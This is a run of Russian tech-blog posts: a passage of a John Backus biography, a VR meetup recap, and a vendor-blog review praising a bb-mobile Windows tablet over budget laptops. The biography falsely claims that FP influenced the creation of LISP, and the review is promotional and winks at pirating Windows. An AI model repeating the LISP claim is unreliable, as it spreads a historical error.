своему шефу Кутберту Хэрду с предложением разработать практический язык программирования высокого уровня и компилятор для машины IBM 704. Предложение Бэкуса было одобрено. Fortran родился в штаб-квартире фирмы IBM на Мэдисон-авеню в Нью-Йорке — в офисе на 19 этаже, где расположилась группа Бэкуса. Сначала с Бэкусом работал только Ирвинг Циллер, потом присоединился Харлан Херрик с командой математиков и техников. Бэкус собрал группу из девяти дипломированных специалистов по математике, и они с энтузиазмом принялись за работу по созданию нового языка. Эти девять человек позднее вошли в историю программирования – Роберт Нельсон (Robert Nelson), Харлан Херрик (Harlan Herrick), Льюис Хэйт (Lois Haibt), Рой Нат (Roy Nutt), Ирвинг Циллер (Irving Ziller), Шелдон Бест (Sheldon Best), Дэвид Сэйр (David Sayre), Ричард Голдберг (Richard Goldberg) и Питер Шеридан (Peter Sheridan). В своих воспоминаниях Бэкус пишет, что из-за свойственной ему лени он создал такую систему управления группой, что ему, собственно, и делать-то ничего не приходилось. Наибольшую сложность представляла для него только задача, как заставить членов группы не тратить столько времени на игры. Программисты из группы Бэкуса во время ланча любили сразиться в шахматы (правда, в то время еще не виртуальные, а настоящие). И никакие угрозы не помогали в борьбе с этим: раньше 14:00 они обычно игру не заканчивали. С тех пор некоторые думают, что «настоящие» программисты должны тратить не менее двух часов в день на (уже компьютерные) игры. Разработчики не надеялись, что их язык программирования будет когда-либо использоваться на машинах, отличных от IBM 704, но они были уверены, что в случае успеха их работа существенно повлияет на ИТ-индустрию. Они выделили основные понятия нового языка, в частности оператор присваивания (например, N = 100), задававший переменным определенные значения, ввели индексируемые переменные, которые сообщали компьютеру, какой элемент из списка переменных нужен (например, X(3) означает третий элемент списка, названного X), предложили очень важный оператор DO, который позволял повторять нужную последовательность операторов заданное число раз. Текст программы стал более простым, появились конструкции IF для организации ветвлений и циклы. Невероятно упростилось программирование формул. Например, формула D=B^2-4AC, программирование которой даже на современном языке ассемблера потребует десяток строк кода, на новом языке записывалась следующим образом: D=B**2-4*A*C. Как заявлял Бекус, люди ошибочно полагали, что основной вклад Fortran — это возможность писать программы в виде алгебраических формул, а не на машинном языке. По его мнению, Fortran в первую очередь автоматизировал организацию циклов. Важность этой задачи при разработке научных приложений сложно переоценить. Работа над языком шла быстро, чего нельзя было сказать о разработке компилятора. Бекус понимал, что развеять сомнения в возможностях «автоматического» программирования, то есть написания программ на языках высокого уровня, нелегко. Программы на Fortran должны быть такими же быстродействующими и надежными, как и написанные в машинных кодах или на языке ассемблера. Из трех лет, затраченных на разработку проекта в целом, более двух лет заняла работа над компилятором. Если первое сообщение о создании языка группа сделала в 1954 году, то о разработке компилятора — только в апреле 1957 года. Первая страница руководства по Fortran с автографом Бэкуса Разработчики долго не могли определиться с названием нового языка. Бэкус придумал несколько банальных названий, но каждый раз они не устраивали коллег. Но однажды он предложил FORTRAN (FORmula TRANSlation). Реакция была аналогичной, но это название было принято из-за отсутствия лучшего. Джон Бэкус, конечно, шутит, когда говорит, что ничего не делал. Лавры создателя первого языка высокого уровня принадлежат ему по праву. Algol Другим важным достижением Бэкуса стало применение способа формальной записи — БНФ (Бэкуса — Наура форма) для описания языка Algol. В 1958 году Джон Бэкус решил принять активное участие в обсуждении нового языка (он впоследствии и получил название Algol) в Цюрихе. Однако возникла проблема — английский язык, на котором изъяснялся Бэкус, был мало понятен швейцарским программистам. В связи с этим для описания конструкций языка были применены специальные диаграммы, которые Бэкус разработал совместно с датским астрономом и программистом Питером Науром. С тех пор форма Бэкуса-Наура (Backus-Naur Form — BNF) стала неким «эсперанто» мирового программирования. Программисту, владеющему BNF, для знакомства с новым языком не нужно изучать объемные труды с его словесным описанием: достаточно изучить BNF этого языка. Синтаксические диаграммы BNF и дерево разбора В феврале 1959 года Бэкус убедил влиятельную организацию SHARE (куда входили пользователи компьютеров фирмы IBM) сделать ставку на новый язык программирования. После этого организация настоятельно порекомендовала IBM реализовать Algol. На словах компания пошла навстречу своим клиентам, а на деле работа в этом направлении почти не велась. В то время IBM была мировым лидером на рынке компьютеров и активно внедряла Fortran, что вполне ожидаемо. У членов SHARE, на самом деле, тоже не было ясной позиции. Когда их энтузиазм угас, они как ни в чем не бывало продолжали поддерживать Fortran. А Бэкус, несмотря на неудачу, продолжал активно продвигать Algol. FP В 70-е годы Джон Бэкус совместно с Джоном Уильямсом и Эдвардом Уимерсом он разработал новый язык программирования FP. FP — это так называемый чистый функциональный язык программирования, в котором программист сосредотачивается не на переменных и их значениях, а на «черных ящиках» — функциях, имеющих вход и выход. Бэкус представил миру новый язык в 1977 году в статье под названием «Can Programming Be Liberated from the von Neumann style? A Functional Style and its Algebra of Programs» («Возможно ли освободить программирование от стиля фон Неймана? Алгебра программ в функциональном стиле»). FP был задуман скорее как математическая модель, чем как средство разработки ПО. Он является каноническим примером языка, использующим функциональную парадигму. В FP особое внимание уделено точному семантическому описанию и обработке абстрактных типов данных. Также вместе со своими сотрудниками Бэкус разработал оптимизирующий компилятор, использующий алгебраические преобразования. Идеи, использованные в языке FP, были использованы при создании языка LISP. Память Джон Бэкус ушел из жизни 17 марта 2007 года. Ему было 82. Несмотря на то, что в начале пути он не знал, что делать со своей жизнью, судьба приняла это решение за него. Кроме премии Алана Тьюринга, о которой было сказано выше, Джон Бэкус в 1976 году был награжден Национальной медалью за вклад в науку. «Иногда стимулом к изобретению становится не полет творческой мысли и не необходимость, а желание отдохнуть от нудной и тяжелой работы. Джон Бэкус убежден, что именно это заставило его разработать язык, в значительной мере автоматизирующий работу программиста», – пишет Лесли Гофф.
https://habrahabr.ru/post/317526/
habrahabr
Презентации и видео выступлений с митапа по виртуальной реальности VR-Today
['vrtoday', 'виртуальная реальность', 'дополненная реальность', 'virtual reality', 'augmented reality']
10 декабря в Москве прошла наша вторая открытая встреча, посвящённая разработке, запуску, позиционированию и монетизации продуктов в сфере виртуальной реальности. Собственно встреча так и...
10 декабря в Москве прошла наша вторая открытая встреча, посвящённая разработке, запуску, позиционированию и монетизации продуктов в сфере виртуальной реальности. Собственно встреча так и называлась — VR-Today: тусовка виртуальной реальности. Под катом предлагаем вашему вниманию все видео и презентации выступлений спикеров про VR-кино, про VR-железо существующее и будущее, про дополненную реальность, про мобильный VR, про инвестиции в инновационные технологии и многое другое. Вообще само мероприятие проходило в интересной неформальной обстановке, прямо в баре BarDisco90, и кроме докладов там можно было поиграть в Sony VR, протестировать и купить мобильные VR-шлемы Homido, продукцию из магазина гаджетов виртуальной реальности VR-Store или даже выиграть призы от коллег, занимающихся производством «картонных» шлемов — Bosglass VR и Помпеи Арт. Кстати, сделать у них брендированные шлемы на мероприятия можно довольно легко и быстро. Ну а главной целью было пообщаться всем, кто пришел, друг с другом, наладить внутрииндустриальные связи, найти совместные win-win истории сотрудничества и просто познакомиться с коллегами по интересу к новым технологиям. Получилось ) Все фотографии со встречи, спасибо Николаю Пискунову , можно найти тут: — VK — FB Тем, кто был, смотрите, шарьте и добавляйте свои фотографии. И не забудьте вступать в сообщества профессиональных участников рынка виртуальной реальности: VR/AR in Gamedev , VAMR и VR-Today . А вот и материалы с докладов — презентации и видео. Так как дело было в баре, то свет был приглушенный, спикер затемнен, зато презентация особенно ярко выделяется своим светом и звук есть. Григорий Лещенко (фонд “Сколково”) — «Инвестиции в новую реальность» Презентация: тут . Видеоролик: под спойлером Георгий Молодцов (VRability) об итогах года в VR-киноиндустрии и тенденциях будущего. Презентация: тут . Видеоролик: под спойлером Алексей Печкин (VR-разработчик) о тенденциях на рынке VR-железа. Презентация: тут . Видеоролик: под спойлером Андрей Артищев (Livemap) про боль и про радость, которые принесла нам в этом году дополненная реальность. У Андрея есть сильное мнение, что Magic Leap — это большой лохотрон, а что думаете вы? Презентация: тут . Видеоролик: под спойлером Инсайты от коллег из Fibrum по рынку мобильного VR Презентация: тут . Видеоролик: под спойлером VR-Today было уже вторым мероприятием такого формата и оно показало, что showcase и доклады на базе клубного пространства — является эффективным форматом общения для индустрии. А значит весной будет наш следующий митап, на который еще пригласим коллег из индустрии нейротехнологий, чтобы обсудить с ними интеграцию нейротехнологий с VR, а также устроить шоурум уже имеющихся устройств из этой индустрии. Ну а пока приглашаем вас на наше ближайшее крупное открытое мероприятия в Высшей школе бизнес-информатики, где в течение всей субботы 11 февраля будут лекции по игровой индустрии. Подробности и бесплатная регистрация здесь .
https://habrahabr.ru/company/miip/blog/317350/
habrahabr
Обзор-размышление или почему ноутбуки ждет забвение
['bb-mobile', 'ноутбук', 'планшет', 'трансформер', 'обзор']
Этот материал должен был быть стать обычным обзором очередной интересной новинки от bb-mobile на свежем процессоре Intel®, но вместо этого вылился в весьма продолжительный тест с неожиданными...
Этот материал должен был быть стать обычным обзором очередной интересной новинки от bb-mobile на свежем процессоре Intel®, но вместо этого вылился в весьма продолжительный тест с неожиданными личными открытиями. И выводом в стиле «насколько всё же динамично развивается компьютерная техника». Смартфоны заменяют кнопочные звонилки, «умные цоколи» становятся повсеместным явлением в наших квартирах, неприметные на первый взгляд планшеты сначала подчистую уничтожили нишу нетбуков, а потом… А о том, что случилось потом, и пойдёт речь в этом материале. Немного аналитики По время поиска различной статистики мне на глаза попалась статья «Продажи ноутбуков заметно упали» от апреля 2016 года. В ней отмечается, что по данным IDC за 2015 год продажи лэптопов в России упали на 38,6%. При этом ритейлеры и компании-производители сходятся во мнении, что наиболее многообещающим остается сегмент планшетов-трансформеров, которые могут как превращаться в «таблетку», так и выполнять функции полноценного ноутбука. Что мешает трансформерам победе над «сольными» лэптопами «здесь и сейчас»? Опять же, респонденты почти единогласно сошлись во мнении, что препятствием становится дороговизна. Показательный комментарий: «Пока они значительно дороже аналогичных по параметрам ноутбуков». Или слова Екатерины Царевой, директора по продуктам Acer в России: «Трансформеры приобретают те, кто готов переплачивать за сочетание производительности ноутбука и функциональности планшета». Я бы поспорил с тем, за что идет переплата – за приведённое сочетание или же за известное имя. Или за неумение того или иного бренда предлагать покупателям интересный ценник. Например, самый дешёвый трансформер Acer Switch One 10 Z8300 стоит 23 000 рублей. Будь я покупателем на распутье – пожалуй, за такие деньги лучше взял бы ноутбук. Другое дело, если есть возможность потратить на трансформер меньше 15 000 рублей. Который по ряду параметров даже превосходит бюджетный лэптоп за 15-20 тысяч рублей. Тогда встает вопрос – насколько это будет удобно и практично, может лучше взять традиционный гаджет с 15-дюймовым экраном, пусть и несенсорным? Это дельное возражение, которое озвучил в той же статье представитель сети DNS – мол, покупатели по-прежнему не оценили преимуществ трансформеров. И действительно – не будешь же отдавать свои кровные ради эксперимента «понравится – не понравится». Вот потребители по всей видимости и предпочитают осторожничать и с опаской относятся к компактным умельцам-трансформерам как к альтернативе громоздким ноутбукам. Мне же на личном опыте удалось убедиться, что при необходимости мой выбор будет однозначным – и совсем не в пользу лэптопов. Для полноты картины следовало бы упомянуть глобальное положение дел, которое даёт более полное представление о текущих тенденциях. А они таковы – в то время как в России потребители только пытаются «распробовать» трансформеры, по всему миру уже активно «вкушают» Windows-планшеты 2-в-1. За 2015 год (данные Strategy Analytics) доля Android-планшетов составила 61% (минус 7%), iPad – 28% (минус 22%). Windows? Windows-планшеты, а также трансформеры завоевали 11%, что означает рост на 59% к результату годом ранее. Прежде IDC пророчила Windows-таблеткам 7% по итогам 2015 года и 14,1% к 2019 году. Смею предположить, что нынешними темпами отметка в полтора десятка процентов покорится устройствам с системой Microsoft уже по итогам второго квартала 2017 года. То есть они «растут» тогда, когда падают iPad'ы! Немного личной аналитики Порой производители не торопятся возвращать выданные мне на тест устройства, что бывает весьма удобно. Например, моя жена не нарадуется кухонным Bluetooth-весам одной известной компании, а сам я не спешу расставаться с  отличным смартфоном-большебатареечником. Так вот, bb-mobile Techno W10.1 (X101BZ) «завис» у меня уже месяца на четыре и, скорее всего, будет выкуплен так сказать на ПМЖ. Неладное я заподозрил примерно два месяца назад. Жена всегда с грустью относится к моим командировкам – с одной стороны, мужа не будет дома. С другой – я забираю с собой ноутбук, которым главным образом и пользуется моя прекрасная половинка. Причём если я привык к работе за своим столом, то жена в основном курсирует между спальней и кухней, поэтому стационарный ПК для нее – не вариант от слова «совсем». Я же предпочитаю в домашних условиях эксплуатировать именно десктоп, хотя бы из-за 24-дюймвого монитора с возможностью без компромиссов параллельно пользоваться, скажем, браузером и текстовым редактором. Перед крайней командировкой у меня «накрылся» основной жёсткий диск Seagate Constellation ES.3 (чтоб я ещё хоть раз переплатил треть цены за такую «корпоративную сверхнадёжность»). То есть компьютер оставался «бездыханным». В отсутствие дома хоть самого завалящего планшета, в порядке эксперимента настроил для жены bb-mobile Techno W10.1 (X101BZ) и отчалил в дружественное соседнее государство. По возвращении домой ноутбук оставался нетронутым несколько недель, тогда как продукт bb-mobile буквально не выпускался из женских рук. Мной незамедлительно был устроен допрос – как так, гораздо более мощный лэптоп Dell Inspiron 3537-8034 с 15-дюймовым экраном почти за 40 000 рублей был отвергнут в пользу 10-дюймового гибридного планшета! По результатам бесед с женой, а также собственных размышлений я и решил рассказать не столько о самом bb-mobile Techno W10.1 (X101BZ), сколько о противостоянии традиционных ноутбуков и Windows-решений класса «2 в 1». Внешний вид Для начала следует уточнить важную деталь. Сам производитель называет своё детище «планшетный компьютер – трансформер». В простонародье возможны варианты «гибридный планшет», «планшет 2-в-1». Но это никак не то, что я бы назвал ущербным планшетом с клавиатурой. Давайте вместе вспомним типичные варианты клавиатурных блоков с тачпадами для планшетов. Номер один – самый неудобный вариант, который вы не сможете поставить на колени и регулировать наклон экрана. Только хардкор, только ровная горизонтальная поверхность. Но это не самое плохое. Коннект составляющих «ноутбука» происходит с помощью слабого магнита, безо всяких защелок-фиксаторов, так что экран запросто можно совершенно случайно отсоединить. Номер два – чуть лучше, гибрид получится поставить на колени. Но «болячки» почти те же: наклон экрана не меняется, соединение хлипкое на слабом магните. bb-mobile приводит эти и другие варианты в своей картинке, где делает упор на практичность своего способа соединения посредством фиксатора. Планшет насаживается на две металлических «лопатки», в которых в свою очередь установлены не менее металлические выдвигающиеся зацепы. Нажали кнопку перед экраном – фиксаторы спрятались внутрь лопаток, и мы без труда извлекаем планшет. Итог – экран сверхнадёжно соединен с планшетным блоком. Наклон дисплея можно регулировать на своё усмотрение. Так что вместо некой пародии на ноутбук получаем продуманную конструкцию, которая превращает bb-mobile Techno W10.1 (X101BZ) в полноценный ноутбук. Если же сравнивать с обычными лэптопами, модель bb-mobile выигрывает по надёжности соединительной части. Как крепятся части в большинстве ноутбуков? Правильно, на двух пластиковых петлях, что зачастую рано или поздно приводит к поломкам. Не самый актуальный, но яркий пример – первый ноутбук в моей жизни, модель от Acer. Спустя три года использования я получил вот такой подарок на обеих петлях. Как я выяснил, это не самая редкая проблема для ноутбуков. В случае же bb-mobile Techno W10.1 (X101BZ) ничего подобного владельцу не грозит – конструкция, что называется, «на века». С точки зрения разъёмов модель bb-mobile проигрывает типичному ноутбуку разве что по количеству USB-портов, да и то – «по сути» всё равно не уступает. Два разъёма (один в планшете, второй в блоке с клавиатурой) позволяют параллельно подключать, скажем, флешку и мышку. Или внешний винчестер и принтер. В самом деле, среднестатистическому гражданину такого набора хватит за глаза. Если всё же хочется экран побольше – не вопрос, есть разъём miniHDMI. Единственным компромиссом можно назвать расположение аудиовыхода – в открытом состоянии модели он располагается вверху слева, что не очень удобно. По идее логичнее было бы установить разъём снизу, но там уже находятся динамик и слот для карточки microSD. Обсуждать габариты было бы логичнее в рамках «мобильного» использования bb-mobile Techno W10.1 (X101BZ), но на самом деле вес устройства важен даже в домашних условиях. Например, лежать на кровати и держать лэптоп на руках у вас явно не выйдет, а в случае bb-mobile достаточно отсоединить планшетную часть. 600 г – комфортный показатель для длительного удерживания «таблетки» двумя руками. В полном снаряжении устройство весит 1,1 кг, тогда как рядовые 15-дюймовые ноутбуки стартуют почти с вдвое большего показателя, около двух килограммов. Если вы любите время от времени вытянуться на диване, положив на себя компьютерного товарища, bb-mobile Techno W10.1 (X101BZ) определенно покажется вам более выигрышным вариантом.   Среди прочих особенностей конструкции свои плюсы есть как у моего ноутбука типа Dell Inspiron 3542, так и у bb-mobile Techno W10.1 (X101BZ). Однако преимущество ноутбука Dell скорее номинальное и заключается в наличии DVD-привода. Как вы понимаете, в 2016 году это уже архаизм, чему лучшее подтверждение – всё более частый отказ производителей от «вместилища дисков» (вспомните хотя бы «Макбуки»). В самом деле, присутствие по умолчанию Wi-Fi и соответствующего драйвера решает все проблемы по получению тех или иных файлов или иных драйверов. Лично мне не известен контент, который бы распространялся на дисках и напрочь отсутствовал для скачивания из интернета. У модели bb-mobile гораздо более практичный плюс, наличие сразу двух камер – фронтальной 2 Мп и тыльной 5 Мп. Задний модуль позволяет разборчиво фотографировать текст, хотя вряд ли это пригодится вам дома. А вот «фронталка» для видеосвязи по Skype – совсем другое дело. Так, моя тёща живет за 200 километров от нашего города, и раньше жена удалённо общалась с ней только по телефону. С недавних пор – практически исключительно по Skype. Качество изображения? Никаких жалоб, лица видны, картинка вовсе не зернистая. Опять же, всё познается в сравнении. Повторюсь, в bb-mobile Techno W10.1 (X101BZ) – 2 Мп лицевая камера. В моем Dell Inspiron 3537 почти за 40 000 рублей – всего лишь 1 Мп, а в прежнем Dell Inspiron 3542-8588 (как вы поняли, я люблю ноутбуки Dell) за 16 000 рублей – 0,92 Мп. Немного статистики: «Яндекс.Маркет» показывает почти 3 600 (три тысячи шестьсот) 15- и 16-дюймовых ноутбуков с фронтальными камерами. Из них всего 20 штук – с 2 Мп модулями. Так что вне зависимости от цены всего 0,56% (!) ноутбуков диагональю порядка 15 дюймов способны обеспечить вам то же качество видеокартинки, что и bb-mobile Techno W10.1 (X101BZ). Напоследок несколько слов о клавиатуре. Понятно, что компактная «клава» с укороченным «Enter», отсутствием NUMPAD-клавиш и рядом других компромиссов проигрывает практически полноразмерным «коллегам» в 15-дюймовых ноутбуках. Однако важно другое. По факту к небольшим кнопкам быстро привыкаешь и особого дискомфорта не чувствуешь. Потребности рядового гражданина в наборе текста, как правило, по большому счету ограничены эпизодическим общением в соцсетях, на форумах, в комментариях на YouTube и т.д. То есть контекстом, в котором наличие прямо-таки всех кнопок типа блоков NUM, Page Up/Down, Scroll Lock и т. д. некритично. А сам процесс набора сообщений на модели bb-mobile навязчивых мыслей типа «вот бы мне получить нормальную клавиатуру» не вызывает. Опять же, сужу хотя бы по жене, которая, находясь в «интересном» положении, ОЧЕНЬ много времени как раз проводит в сетевом общении с родственниками-знакомыми, а также активно общается на тематических форумах. И у которой – как я неоднократно упоминал – есть возможность в любой момент вернуться к 15-дюймовому лэптопу. Однако лэптоп по-прежнему обрастает пылью на полке, а bb-mobile Techno W10.1 (X101BZ) – нет. Из собственных впечатлений я бы отметил отсутствие столь характерных для крупных ноутбуков прогибов клавиатуры, особенно в центральной области. Также мне понравилось отсутствие дребезжания клавиш – ничего не болтается и, по субъективной оценке, расшатываться не собирается. Сложно объяснить, в чем именно заключается проблема, но в большинстве бюджетных трансформеров (а повидал я их за последние годы довольно много) я не мог нормально работать с тачпадом. Сенсорная поверхность странно реагировала на прикосновения, произвольно активировала двойной «тап», да и нижний ряд из двух клавиш порой оказывался излишне тугим. Поэтому позиционирование 2-в-1 получалось неполноценным – либо нужно было подключать мышку, либо еще больше увеличивать долю управления через сенсорный экран. В bb-mobile Techno W10.1 (X101BZ), к счастью, с подобным мне столкнуться не пришлось, чувствительность и реакция тачпада на касания нареканий не вызывает, равно как и отзывчивость нижних кнопок. Эти впечатления подтверждаются и тем, что моя прекрасная половинка так и не попросила подключить ноутбучную мышку, хотя имела такую возможность. Экран Если ваша работа или увлечения никак не связаны с видеомонтажом, обработкой фотографий или иными требующими крупную диагональ экрана задачами, 15-дюймовый лэптоп вряд ли критично необходим вам. В самом деле, всё равно хотя бы прикрепленная к части с экраном клавиатура приводит к тому, что основную часть времени ноутбук находится от вас на расстоянии меньше вытянутой руки. А в таком случае, дабы не слишком напрягать глаза и в буквальном смысле не «прыгать» взглядом по дисплею, лучше всего подходят 10-дюймовые решения типа bb-mobile Techno W10.1 (X101BZ). В 2012 году soroktu проводил опрос на тогда еще Habrahabr – «Ноутбук с каким размером экрана вы используете при разработке с использованием IDE? Устраивает ли вас его диагональ?». В 26% случаев респонденты использовали внешний монитор (т. е. нечто более 16 дюймов), но вторым по популярности ответом стала диагональ до 13 дюймов. Если говорить о потребностях рядового пользователя, то главным образом это веб-сайты, эпизодическая переписка по e-mail и в соцсетях. Всё то, для чего не нужен большой экран. Таковой пригодится либо в перечисленных в начале раздела задачах, либо в играх. Однако в примерно сопоставимом по цене с bb-mobile Techno W10.1 (X101BZ) ноутбуке вы получите такой набор «железа» на базе процессора Celeron/Pentium, что ни о каком WoT можно будет даже не мечтать. Даже на самых минимальных настройках. Бонусом пользователь получает безоговорочное преимущество по качеству дисплея. Согласитесь, IPS-матрица – крайне редкое явление среди ноутбуков дешевле 40-50 тысяч рублей, не говоря о бюджетниках до 20 000 рублей. Для примера – вот сортировка по возрастанию цены ноутбуков с IPS-экранами в магазине DNS. Всего одна модель почти за 17 000 рублей, далее – от 22 000 рублей и выше. Скажем, мой Dell Inspiron 3537-8034 почти за 40 000 рублей обладает лишь TFT-TN-матрицей с не самой правильной цветопередачей и ужасными углами обзора. Тогда как на картинку bb-mobile Techno W10.1 (X101BZ) банально приятно смотреть. Причем хоть втроём – широкие углы обзора позволяют. И, конечно, сенсорный дисплей. По словам моей жены, это чудовищно удобная штука, именно через экран происходит практически всё управление в системе, скроллинг веб-страниц. Это безусловный плюс гибрида – выполнять навигацию и активировать те или иные действия в системе чаще всего быстрее именно «тыканьем» в экран. На долю клавиатуры же остается её непревзойдённое преимущество – набор текста. Разрешение экрана bb-mobile Techno W10.1 (X101BZ) составляет 1280 х 800 точек, плотность пикселей – 149 ppi. В моем ноутбуке при 15,6 дюймах – 1366 x 768 точек и итоговые 100 ppi. По факту оба устройства используются примерно на одном расстоянии от глаз. Вот и думайте, где «лесенка» будет бросаться в глаза, а где картинка будет выглядеть гораздо более гладкой. Для информации – на «Яндекс.Маркете» на данный момент продаётся примерно 18 300 ноутбуков диагональю 15-16 дюймов, из них почти 12 200 штук или 66,7% – модели с разрешением 1366 x 768 точек. Другими словам, более половины покупателей 15-дюймовых ноутбуков обречены смотреть на 100 ppi. Производительность, система и автономность В bb-mobile Techno W10.1 (X101BZ) установлен 4-ядерный процессор Intel® Atom™ x5-Z8300, довольно свежее решение,  которое пришло на смену прошлой хитовой платформе Intel® Atom™ Z3735F. Улучшения в первую очередь затронули самое важное – техпроцесс стал более тонким, производитель перешел с 22 нм Bay Trail на 14 нм Cherry Trail. Это по меньшей мере означает возросшую энергоэффективность, иными словами, уменьшение энергопотребление. Кроме того, на 100 Гц (до 1,44 ГГц) поднялась базовая частота, а место оперативной памяти DDR3L-RS 1333 заняла более быстрая DDR3L-RS 1600. С точки зрения производительности самое заметное достижение – наличие двенадцати, а не четырех шейдерных процессоров. По данным сайта CPUBoss, в 3DMark между Intel® Atom™ x5-Z8300 и Z3735F – почти двукратный разрыв в пользу новинки. Что касается реальной производительности, то сначала обратимся к моей жене. Её самый популярный сценарий – веб-серфинг. Причем меньше 10-15 вкладок у неё никогда не бывает открыто. А предпочитает она не какой-нибудь щадящий оперативную память Chrome, а самую прожорливую Opera. И это как раз тот самый случай, когда комментаторы в обычном обзоре бы сразу набросились на 2 Гб оперативной памяти и доступно объяснили, почему с такой характеристикой ничего хорошего ждать от гибрида не следует. Однако факт остается фактом – даже с двумя десятками вкладок (и этот вовсе не легкие страницы типа bash.im) жалоб на производительность от жены не поступало. Напомню – это когда под боком всегда ноутбук с Intel® Core™ i5 4200U и 4 Гб ОЗУ. В прочих задачах корректнее было бы сравнить производительность bb-mobile Techno W10.1 (X101BZ) с прямым ценовым конкурентом, Dell Inspiron 3542-8588. Детище Dell обладает процессором Intel® Celeron™ 2957U 1 ГГц, 2 Гб оперативной памяти и десять шейдерных «камней». Увы, но по моим сугубо личным впечатлениям похвастаться продукту Dell совершенно нечем. Модель эксплуатировалась на Windows 10, где результаты были более чем плачевными – мне сложно припомнить задачу, в которой я не испытывал бы проблем со скоростью выполнения или компромиссов иного рода. Конечно, работать в Word можно, открыть одну-две странички в браузере – тоже. Однако рассчитывать на 15-20 вкладок не приходилось, сразу же начинались откровенные тормоза. С Photoshop и Adobe Premiere я тоже быстро «завязал». Даже на открытие 5-мегабайтной фотографии в Photoshop уходило до десяти секунд. А если у меня в очереди 50-60 фотографий для обзора? И это уже не говоря об аналогично низкой скорости применения обработки. Просмотр на YouTube лучше было не выставлять выше 720p, сразу же давали знать о себе подтормаживания, рассинхрон картинки и звука. А что bb-mobile Techno W10.1 (X101BZ)? У этого гибрида есть процессор с Turbo Boost до 1,84 ГГц, Hyper-Threading и другими интересными технологиями, которые по всей видимости и влияют на реальную работоспособность самым положительным образом. Вообще, я бы советовал скептикам ещё раз перечитать вот эту статью , где alexeystar очень наглядно показал возможности Intel® Atom™ Z3735F с 2 Гб. А они вкратце таковы – беспроблемное воспроизведение на YouTube-видео в разрешении 1440p, возможность более-менее комфортной работы в фото и видеоредакторах, а также возможность поиграть с приемлемым FPS в тайтлы уровня GTA 3 или Half-Life 2. Сами понимаете, на базе ещё более продвинутого как минимум по графической части Intel® Atom™ x5-Z8300 планшет-трансформер показывает результаты на схожем уровне, в играх – даже лучше. К вопросу об операционной системе. В bb-mobile Techno W10.1 (X101BZ)  по умолчанию сразу же установлена Windows 10. В моем Dell Inspiron 3537, равно как и в прежнем Dell Inspiron 3542, система отсутствовала. Покупать? В Microsoft Store релиз Windows 10 Домашняя стоит почти 8 000 рублей, что для бюджетного ноутбука составляет половину цены. То есть по факту для нормальной работы придется выложить не 16, а все 24 тысячи рублей. Конечно, можно, гм, купить Windows со скидкой на RuTracker, но это уже дело совести каждого отдельного пользователя. Объем ПЗУ в bb-mobile Techno W10.1 (X101BZ) составляет 32 Гб, из них пользователю доступно около 22 Гб. Прибавляем слот под microSD емкостью до 128 Гб и получаем суммарные до 150 Гб. Если вы не любитель просмотра фильмов в образах Blu-ray по 40 Гб и вам не приходится забивать ноутбук объемными файлами по работе, это более чем нормальный объем для десятка полюбившихся фильмов, музыкальной коллекции и пары десятков «гигов» фотографий. С точки зрения среднестатистического пользователя, на мой взгляд, потребность в так сказать типичных ноутбучных ёмкостях от 500 Гб и выше уже не актуальна. Огромное количество любого контента мы получаем в «прямом эфире» из интернета. Это YouTube, всевозможные законные и не очень видеоплатформы с фильмами и сериалами, музыкальные площадки. Высокоскоростной домашний интернет стоит копейки, так что вместо скачивания можно в любой момент посмотреть/послушать требуемый контент онлайн. Признаюсь честно – те же сериалы и фильмы я скачиваю не более пары раз в год, исключительно когда предстоит долгая дорога в поезде или междугороднем автобусе. Немаловажно и то, что в гибридах используется флеш-память eMMC, что означает гораздо более высокую скорость работы с данными в сравнении с жесткими дисками в ноутбуках. Вот какие результаты показывает bb-mobile Techno W10.1 (X101BZ). Достижения винчестера Dell Inspiron 3542-8588 гораздо скромнее. Однако что делать, если даже 150 Гб вас не устраивают? Благо внешние накопители сейчас продаются по вполне доступным ценам, так что максимум за 3-4 тысячи рублей вы можете прибрести «винт» на 500 Гб. Итоговая цена – 14 000 рублей за планшет-трансформер плюс 3 500 рублей за винчестер, итого 17 500 рублей. Во-первых, всё равно мы не превышаем бюджет покупки отдельного ультрадоступного ноутбука. Во-вторых, не забываем о замечательных тратах на лицензию Windows 10 для «голого» лэптопа, когда общий ценник автоматически переваливает за 20 000 рублей. Изучение автономности для преимущественно домашнего использования не слишком актуально, однако если предстоит долгий путь-дорога, лишний час работы ноутбука будет, простите за тавтологию, совсем не лишним. Мой прежний Dell Inspiron 3542-8588 обеспечивал порядка пяти часов просмотра видео, нынешний Dell Inspiron 3537-8034 – до 7 часов. Но если я соберусь в теплые страны на отдых, то определенно возьму с собой bb-mobile Techno W10.1 (X101BZ) с 6 000 мАч и его 8-10 часами воспроизведения фильмов. Кстати, хоть в путешествиях, хоть в городских поездках зарядка модели bb-mobile не может не вызывать уважение на фоне типичного длинного кабеля ноутбука с громоздким блоком питания. Вывод Я могу с полной уверенностью утверждать следующее. Гибридные планшеты на Windows являются полноценной и гораздо более удачной альтернативой традиционным ноутбукам для рядовых пользователей. Если вы не используете личный ноутбук для хобби или работы с профессиональными задачами типа обработки фото, видеомонтажа, 3D-моделирования и т.д., то Windows-гибрид типа bb-mobile Techno W10.1 (X101BZ) гораздо предпочтительнее в сравнении с типичным ультрабюджетным 15-дюймовым ноутбуком. Во всяком случае, я увидел это наглядно на фоне не только схожего по цене Dell Inspiron 3542-8588 за 16 000 рублей, но и почти в три раза более дорогого Dell Inspiron 3537-8034 за 40 000 рублей. Цена bb-mobile Techno W10.1 (X101BZ), напомню, составляет 14 000 рублей. Так что вы получаете удачную замену домашнего десктопа или лэптопа по стоимости, скажем, недорогого смартфона. Что касается минусов – серьезных недостатков не замечено. Единственное – следует понимать, что игровые возможности не являются сильной стороной данной модели, хотя вы и сможете провести время за GTA 3 или HL 2. Если же в числе ваших приоритетов WoT и иные современные 3D-игрушки, придется присмотреться к ноутбукам от 30 000 рублей и дороже. В остальном реальных минусов не обнаружено, хотя я честно пытался выяснить у жены, чем ей мог не угодить bb-mobile Techno W10.1 (X101BZ)  спустя почти два месяца ежедневного активного использования. Так что предлагаю читателям рассказать в комментариях – что, по-вашему, можно раскритиковать в Windows-гибридах. Intel, Intel Inside, Intel Atom, Intel Celeron, Intel Core являются товарными знаками корпорации Intel в США и других странах
https://geektimes.ru/company/bb-mobile/blog/283654/
habrahabr
Перспективные коммуникационные технологии: грузовики с данными, кудиты и сеть из автомобилей
['связь', 'коммуникация', 'технологии', 'перспектива', 'будущее']
